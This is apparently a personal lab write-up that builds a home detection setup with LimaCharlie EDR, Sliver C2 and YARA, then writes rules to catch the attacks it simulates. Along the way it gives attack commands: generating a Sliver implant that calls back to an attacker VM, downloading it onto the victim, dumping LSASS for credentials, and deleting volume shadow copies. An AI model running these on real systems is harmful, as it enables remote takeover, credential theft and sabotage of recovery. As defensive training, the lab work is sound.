Automated Threat Detection and Response Lab

This page highlights my home cybersecurity lab environment set up using VMware Workstation Pro, along with both Windows and Ubuntu virtual machines (VMs). It provides a detailed overview of the entire setup process, including downloading and installing the required software, configuring the VMs, and deploying essential tools for security testing and analysis.

Summary: This lab focuses on enhancing cybersecurity defenses through the use of tools like LimaCharlie EDR, YARA, Sliver C2, and VMware Workstation Pro. I configured automated detection and response rules to identify and block malicious activities, such as ransomware attempts to delete volume shadow copies. By implementing YARA signatures, I automated malware detection for both files and processes. These improvements enhance the ability to respond quickly to threats and maintain a secure environment. The lab emphasizes the importance of continuous testing, refining detection rules, and adapting capabilities to stay ahead of emerging cyber threats.

Installing VMware Workstation Pro

• Obtain VMware Workstation Pro from Broadcom's website. Note: Access requires creating a Broadcom account.
• Follow the installation instructions to complete the setup of VMware on your machine.

Configure a Windows VM

• Download a free Windows virtual machine from Microsoft, ensuring you choose the "VMWare" version.
• Extract the VM file and import it into VMware using the .ovf file.
• Adjust the RAM allocation if needed; the default is set to 8GB, but it can operate with as little as 4GB.

Install Ubuntu Server VM

• Download the ISO file for Ubuntu Server 22.04.1.
• Create a new virtual machine in VMware with specifications of 2 CPU cores, 2GB of RAM, and a 14GB disk size.
• Select the Ubuntu Server ISO as the installation source.
• During installation, set a static IP address to maintain stable network connectivity.

Set Up Network Configuration in Ubuntu VM

• Determine the gateway IP address for your VMware Workstation's NAT network.
• Manually set the Ubuntu VM to use this gateway IP, configuring a static IP address for consistent network access.

Prepare the Windows VM for Security Testing

• Disable Microsoft Defender to avoid interference with testing activities. Use the Group Policy Editor and Registry modifications to disable it permanently.

This setup will be the basis for performing various security tests and experiments.

Deploying LimaCharlie EDR on Windows VM

LimaCharlie is a robust SecOps Cloud Platform that provides cross-platform Endpoint Detection and Response (EDR), log management, data ingestion, and threat detection capabilities. This section outlines how to install LimaCharlie on your Windows VM, which is available for free for personal use on up to two systems.

Register for a LimaCharlie Account

• Create a free LimaCharlie account by signing up on their website.

Configure Your Organization in LimaCharlie

• Once logged in, proceed to create a new organization:
• Name: Provide a unique name for your organization.
• Data Residency: Choose the location closest to you.
• Demo Configuration Enabled: Set this option to "Disabled".
• Template: Choose "Extended Detection & Response Standard".
• After creating the organization, click on “Add Sensor”.
• Select “Windows” and provide a description, such as "Windows VMLab".
• Click “Create” and make a note of the Installation Key provided.

Installing the LimaCharlie Sensor on Your Windows VM

• Launch an Administrative PowerShell console on your Windows VM.
• Execute the following commands to download the LimaCharlie sensor:

    cd C:\Users\User\Downloads
    Invoke-WebRequest -Uri https://downloads.limacharlie.io/sensor/windows/64 -Outfile C:\Users\User\Downloads\lc_sensor.exe
    cmd.exe
        

• Use the installation command provided by LimaCharlie, which includes your unique Installation Key.
• If you encounter installation problems, consider using the x86-64 MSI option available in the LimaCharlie installer interface.
• Confirm that the sensor is successfully communicating with LimaCharlie by checking the web interface.

Set Up LimaCharlie to Collect Sysmon Logs

• Go to the "Artifact Collection" section within the LimaCharlie dashboard.
• Select “Add Rule” under "Artifact Collection Rules".
• Name: windows-sysmon-logs
• Platforms: Windows
• Path Pattern: wel://Microsoft-Windows-Sysmon/Operational:*
• Retention Period: 10
• Click “Save Rule” to start gathering Sysmon logs.

With this configuration, LimaCharlie will now collect Sysmon logs alongside its EDR telemetry, providing comprehensive event data for security monitoring and analysis.

Configure the Attack System on the Linux VM

We will set up an attack system using the Linux VM. This will involve accessing the VM via SSH and installing the Sliver Command & Control (C2) framework to carry out cybersecurity operations.

Connecting to the Linux VM via SSH

• Use an SSH client to connect to your Ubuntu VM using the static IP address set up earlier.
• On Windows, open a terminal and execute:

ssh user@[Linux_VM_IP]

• Once connected, log in with your Linux VM user credentials.

Installing the Sliver C2 Server

• After connecting via SSH, switch to the root user to streamline the installation process:

sudo su

• Download and set up the Sliver server binary using the following commands:

    wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-server_linux -O /usr/local/bin/sliver-server

    chmod +x /usr/local/bin/sliver-server

    apt install -y mingw-w64
        

• Create a directory for future Sliver-related tasks:

mkdir -p /opt/sliver

Create and Deploy the C2 Payload

We will now generate a Command & Control (C2) payload using Sliver and deploy it to the Windows VM for testing purposes. This involves creating the payload on the Linux VM, transferring it to the Windows VM, and initiating a command and control session.

Create the C2 Payload

• SSH into the Linux VM as previously instructed.
• Switch to root user and navigate to the Sliver installation directory:

    sudo su
    cd /opt/sliver
        

• Start the Sliver server:

sliver-server


• Generate a C2 payload using the Linux VM’s static IP address:

generate --http [Linux_VM_IP] --save /opt/sliver

• Make a note of the randomized name given to the output file.
• Verify the implant configuration:

implants

• Exit the Sliver server:

exit

Transfer the C2 Payload to the Windows VM

• Use a simple Python web server to facilitate the file transfer:

    cd /opt/sliver
    python3 -m http.server 80
        


• Switch to the Windows VM and open an Administrative PowerShell console.
• Download the C2 payload from the Linux VM to the Windows VM:

    IWR -Uri http://[Linux_VM_IP]/[payload_name].exe -Outfile C:\Users\User\Downloads\[payload_name].exe
        

Initiate the Command and Control Session

• Go back to the Linux VM SSH session.
• Stop the Python web server by pressing Ctrl + C.
• Restart the Sliver server:

sliver-server

• Activate the Sliver HTTP listener to catch the callback:

http

• Return to the Windows VM and execute the C2 payload using the Administrative PowerShell console:

C:\Users\User\Downloads\[payload_name].exe


• Confirm that the session has successfully connected to the Sliver server:

sessions

• Use the session ID to interact with the C2 session:

use [session_id]

Basic Commands for C2 Interaction

• Retrieve basic session information:

info

• Check the user context and privileges of the implant:

    whoami
    getprivs
        


• Determine the working directory of the implant:

pwd

• Review network connections on the remote system:

netstat

• Display running processes on the remote system:

ps -T

These procedures allow you to generate and deploy a C2 payload, establish a control session, and interact with the compromised Windows VM. By examining network connections and active processes, you gain valuable insights into the security status of the target system, including identifying any defensive measures in place.

Monitor EDR Telemetry in LimaCharlie

With the C2 payload running on the Windows VM, we will use the LimaCharlie web UI to monitor telemetry data and gain insights into the activities occurring on the endpoint. This involves exploring various aspects of LimaCharlie, such as process monitoring, network activity, and file system interactions.

Examining Process Information

• Log in to the LimaCharlie web UI.
• Click on “Sensors” in the left-side menu to view a list of your active sensors.
• Select your active Windows sensor from the list.
• Click on “Processes” in the new left-side menu to see the process tree.
• Spend time exploring the process tree, hovering over icons for more details about each process.
• Identify unsigned processes, as these might be suspicious. Verify if your C2 implant is unsigned and observe its network activity.

Investigating Network Activity

• Click on the “Network” tab in the left-side menu to view network connections.
• Use Ctrl+F to search for your implant name or C2 IP address within the network list.
• Pay attention to any unusual or unexpected network connections, particularly those associated with your implant.

Inspecting the File System

• Go to the “File System” tab in the left-side menu.
• Navigate to the directory where the implant is located (e.g., C:\Users\User\Downloads).
• Check the hash of the suspicious executable using the “Scan with VirusTotal” option.
• Keep in mind that if VirusTotal shows “Item not found,” it does not necessarily mean the file is safe. It may indicate that the file is new or custom-made.

Utilizing the Timeline View

• Navigate to the “Timeline” tab in the left-side menu of the selected sensor.
• The Timeline provides a near real-time display of EDR telemetry and event logs.
• Use filters to locate known Indicators of Compromise (IOCs) like the implant name or C2 IP address.
• Scroll through the timeline to identify key events, such as when the implant was created, launched, and its subsequent network activities.
• Look for events such as “SENSITIVE_PROCESS_ACCESS,” which may have occurred when privileges were enumerated earlier. These events will be vital for creating detection rules later on.

By leveraging LimaCharlie’s detailed views and analysis tools, you can monitor suspicious activities and understand how attackers interact with compromised systems. Knowing the difference between normal and abnormal behaviors is crucial for effectively detecting and responding to security incidents.

Simulating Adversarial Behavior

We will simulate adversarial activities using the Sliver C2 session to perform actions commonly associated with cyber threats. This will help us learn how to detect and respond to such activities using our security tools.

Reconnect to the Sliver C2 Session

• Start an SSH session on the Linux VM and re-establish the C2 session on the Windows VM using Sliver.
• If needed, refer back to Part 2 to reconnect to the C2 session.

Checking Privileges

• Within the Sliver session, verify the current privileges to ensure the ability to perform privileged actions:

getprivs

• Look for SeDebugPrivilege. If present, proceed. If not, restart your C2 implant with administrative rights.

Dumping LSASS Process for Credential Theft

• Adversaries frequently dump the LSASS process to steal credentials. Execute the following command to dump lsass.exe:

procdump -n lsass.exe -s lsass.dmp

• This command will dump the process memory locally on the Sliver C2 server. Even if it fails, it may still generate valuable telemetry for detection.

Detecting Adversarial Activity

Switch to the LimaCharlie web UI to detect the LSASS dump attempt:

• Go to the “Timeline” of your Windows VM sensor in LimaCharlie.
• Use the “Event Type Filters” to find SENSITIVE_PROCESS_ACCESS events.
• Examine events associated with LSASS access, which are commonly linked to credential dumping techniques.

Creating a Detection and Response (D&R) Rule

• Click the button to start building a detection rule based on the LSASS access event.
• In the “Detect” section, replace the existing content with the following:

    event: SENSITIVE_PROCESS_ACCESS
    op: ends with
    path: event/*/TARGET/FILE_PATH
    value: lsass.exe
        

• This rule will detect any access to lsass.exe flagged by SENSITIVE_PROCESS_ACCESS events.

Configuring the Response Action

• In the “Respond” section, replace the existing content with the following:

    - action: report
    name: LSASS access
        

• This basic action generates a detection report whenever the rule is triggered.

Testing and Saving the Rule

• Test the rule by selecting “Target Event” below the D&R rule.
• Scroll to the bottom of the raw event and click “Test Event” to validate the detection logic.
• A successful test will show a “Match” confirmation.
• Scroll back up, click “Save Rule,” name it “LSASS Accessed,” and ensure it is enabled.

Simulating these adversarial actions and configuring detection rules provides practical experience in identifying and responding to malicious activities. This exercise demonstrates the use of EDR telemetry and detection logic to monitor sensitive processes like LSASS for unauthorized access attempts.

Testing Detections with Repeated Adversarial Activity

We will repeat the adversarial action to validate the detection rules. By rerunning the LSASS dump, we can verify that our LimaCharlie detection setup correctly identifies this malicious activity.

Re-running the Procdump Command

• Return to the Sliver server console and reconnect to your C2 session on the Windows VM.
• Execute the same procdump command to attempt dumping the lsass.exe process again:

procdump -n lsass.exe -s lsass.dmp

Reviewing Detections in LimaCharlie

• Switch back to the LimaCharlie web UI.
• Click on the “Detections” tab in the main left-side menu.
• If you are in the sensor's context, click “Back to Sensors” at the top of the menu to reveal the “Detections” option.

Analyzing Detection Results

• Expand a detection entry to view the associated raw event details.
• Click “View Event Timeline” within the detection entry to jump directly to the timeline where the event was logged.

By repeating the malicious activity and reviewing detection results, you can confirm that your custom detection rules are effectively identifying suspicious actions. This hands-on practice reinforces your understanding of using EDR tools for monitoring and protecting against real-world threats.

In a production environment, it’s crucial to fine-tune detection rules to minimize noise and focus on genuine threats. Regular testing and adjustments will enhance the accuracy and effectiveness of your security monitoring strategy.

Preventing Malicious Activities

Volume Shadow Copies allow for easy restoration of files or entire file systems, making them a vital component in recovering from ransomware attacks. It’s a predictable behavior that one of the first actions of ransomware is to delete these copies to prevent recovery.

The command commonly used to delete volume shadow copies is:

vssadmin delete shadows /all

This command is rarely executed in healthy environments (though some backup or software management tools might occasionally use it), making it a suitable candidate for a blocking rule with low false positives and high threat relevance.

Setting Up Detection

Start your Linux and Windows VMs and return to your Sliver C2 shell.

• SSH into the Linux VM and open a C2 session on the target Windows VM.
• Refer back to Part 2 if you need guidance on re-establishing the session.
• If you face issues with the HTTP listener, consider rebooting the Ubuntu VM.
• In the Sliver C2 shell on the victim system, execute the command we want to detect and block:

shell


• When prompted with “This action is bad OPSEC, are you an adult?”, type Y and press Enter.
• In the new system shell, run:

vssadmin delete shadows /all

• The output doesn’t matter; running the command is enough to generate the necessary telemetry.
• Run whoami to verify that the system shell is still active:

whoami

Reviewing Detection in LimaCharlie

• Navigate to LimaCharlie’s “Detections” tab to see if default Sigma rules detected the command.
• Click on the detection to view the metadata and references provided by the Sigma rules, which help understand the reasoning behind the detection.
• Check the event in the Timeline to see the raw event that triggered the detection.

Creating a Detection & Response (D&R) Rule

Based on the observed detection, create a D&R rule:

• Start crafting a D&R rule using the offending event as a template.
• Add the following response actions in the “Respond” section:

    - action: report
    name: vss_deletion_kill_it
    - action: task
    command:
        - deny_tree
        - <<routing/parent>>
        

• The action: report generates a detection report. The action: task uses deny_tree to terminate the parent process responsible for running vssadmin delete shadows /all.
• Save your rule with the name: vss_deletion_kill_it

Testing the Blocking Rule

Return to your Sliver C2 session and rerun the command to delete volume shadows:

vssadmin delete shadows /all

• The command itself may succeed, but the act of running it should trigger your D&R rule.
• To confirm the D&R rule worked, try running whoami again in the system shell:

whoami

• If the rule successfully terminated the parent process, the system shell will hang or provide no output, indicating the process was killed.

If you see output like “Shell Exited,” it indicates the process was effectively terminated. In a real-world ransomware scenario, this could mean stopping the ransomware payload or lateral movement tool responsible for the attack.

Automating Malware Detection with YARA

This focuses on leveraging the advanced capabilities of our EDR sensor to automatically scan files and processes for malware using YARA signatures.

Setting Up Automated YARA Scans in LimaCharlie

We’ll configure our LimaCharlie instance to automatically detect certain file and process activities and trigger YARA scans.

Adding a YARA Signature for Sliver C2 Payload

• Since we’re working with the Sliver C2 payload, we can use a YARA signature tailored to detect Sliver.
• The UK National Cyber Security Centre has published helpful YARA signatures for Sliver. These have been extracted from the original PDF format for convenience.
• Navigate to “Automation” > “YARA Rules” in LimaCharlie.
• If you see “YARA Service” instead of “YARA Rules,” switch to the new YARA Extension.
• If a permission error occurs, fix it by going to “Access Management” > “Users & Roles,” selecting your username, and enabling all permissions. Then update and close.
• Go back to “Automation” > “YARA Rules” and click “Add YARA Rule.”
• Name the rule sliver and paste the relevant YARA signature into the rule block.
• Save the rule.

Setting Up Detection & Response (D&R) Rules for YARA Detections

• Create a D&R rule to generate alerts when YARA detects a threat not related to a process object:

    event: YARA_DETECTION
    op: and
    rules:
    - not: true
        op: exists
        path: event/PROCESS/*
    - op: exists
        path: event/RULE_NAME
        

• In the Respond block:

    - action: report
    name: YARA Detection {{ .event.RULE_NAME }}
    - action: add tag
    tag: yara_detection
    ttl: 80000
        

• Save this rule as YARA Detection.
• Create another D&R rule for YARA detections specifically involving a process:

    event: YARA_DETECTION
    op: and
    rules:
    - op: exists
        path: event/RULE_NAME
    - op: exists
        path: event/PROCESS/*
        

• In the Respond block:

    - action: report
    name: YARA Detection in Memory {{ .event.RULE_NAME }}
    - action: add tag
    tag: yara_detection_memory
    ttl: 80000
        

• Save this rule as YARA Detection in Memory.

Testing the YARA Signature

We know there’s a Sliver implant in the Downloads folder on our Windows VM. Let’s manually initiate a YARA scan to verify the setup:

• Go to the “Sensors List” in LimaCharlie and select your Windows VM sensor.
• Access the EDR Sensor Console to run commands.
• Execute the following command, replacing [payload_name] with your Sliver executable name:

yara_scan hive://yara/sliver -f C:\Users\User\Downloads\[payload_name].exe

• Ensure a positive YARA detection is recorded on the “Detections” screen.

Automating YARA Scans on New Executables

• Create a D&R rule that scans new .exe files appearing in any user’s Downloads directory:

    event: NEW_DOCUMENT
    op: and
    rules:
    - op: starts with
        path: event/FILE_PATH
        value: C:\Users\
    - op: contains
        path: event/FILE_PATH
        value: \Downloads\
    - op: ends with
        path: event/FILE_PATH
        value: .exe
        

• In the Respond block:

    - action: report
    name: EXE dropped in Downloads directory
    - action: task
    command: >-
        yara_scan hive://yara/sliver -f "{{ .event.FILE_PATH }}"
    investigation: Yara Scan Exe
    suppression:
        is_global: false
        keys:
        - '{{ .event.FILE_PATH }}'
        - Yara Scan Exe
        max_count: 1
        period: 1m
        

• Save this rule as YARA Scan Downloaded EXE.

Automating YARA Scans on Processes Launched from Downloads

• Create a D&R rule for processes started from a user’s Downloads directory:

    event: NEW_PROCESS
    op: and
    rules:
    - op: starts with
        path: event/FILE_PATH
        value: C:\Users\
    - op: contains
        path: event/FILE_PATH
        value: \Downloads\
        

• In the Respond block:

    - action: report
    name: Execution from Downloads directory
    - action: task
    command: yara_scan hive://yara/sliver-process --pid "{{ .event.PROCESS_ID }}"
    investigation: Yara Scan Process
    suppression:
        is_global: false
        keys:
        - '{{ .event.PROCESS_ID }}'
        - Yara Scan Process
        max_count: 1
        period: 1m
        

• Save this rule as YARA Scan Process Launched from Downloads.

Triggering the New Rules

To test our new rules, simulate a new EXE appearing in the Downloads directory by moving the Sliver payload out and back into the Downloads folder:

• Use PowerShell to move the payload to Documents:

Move-Item -Path C:\Users\User\Downloads\[payload_name].exe -Destination C:\Users\User\Documents\[payload_name].exe

• Move it back to Downloads:

Move-Item -Path C:\Users\User\Documents\[payload_name].exe -Destination C:\Users\User\Downloads\[payload_name].exe

• Check the Detections tab for new alerts indicating a YARA scan was triggered.

Conclusion

Throughout this page, we've implemented advanced detection and response strategies to enhance our cybersecurity posture. By deploying LimaCharlie EDR and configuring automated YARA scans, we've gained the ability to identify and react to potential threats swiftly. We've also explored how to block malicious activities effectively, such as the deletion of volume shadow copies, which are common in ransomware attacks. These steps are crucial in building a robust defense against various cyber threats.

Moving forward, the next steps will involve refining these detection rules to reduce false positives and increase efficiency. We'll also explore integrating additional threat intelligence sources and expanding our automated scanning capabilities to cover more types of malicious behavior. By continuously enhancing our detection and response mechanisms, we can better protect our environment from both known and emerging threats, keeping our systems secure and resilient.